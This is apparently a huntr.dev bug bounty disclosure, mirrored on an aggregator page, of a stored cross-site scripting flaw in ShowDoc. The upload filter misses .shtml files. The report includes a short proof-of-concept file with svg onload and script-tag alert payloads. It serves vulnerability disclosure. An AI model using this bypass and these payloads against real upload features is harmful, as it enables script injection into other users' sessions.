Stored xss in showdoc through file upload

2022-03-1202:18:37

noobexploiterhuntrdev

www.huntr.dev

0.001 Low

EPSS

Percentile

21.6%

JSON

Description

Hi. This is a bypass to the report in https://huntr.dev/bounties/df347aa9-ed9b-4f75-af99-c83b8aad3bcf/ . It fails to check for files with the extension .shtml which leads to stored xss

Proof of Concept

// poc.shtml
&lt;html&gt;
    &lt;body&gt;
        <h1>adsasdadsdsa</h1>
        &lt;svg/onload=alert()&gt;
        &lt;script&gt;alert(1)&lt;/script&gt;
    &lt;/body&gt;&gt;
&lt;/html&gt;&gt;

Impact

Stored Xss

0.001 Low

EPSS

Percentile

21.6%

JSON

Related for 6127739D-F4F2-44CD-AE3D-E3CCB7F0D7B5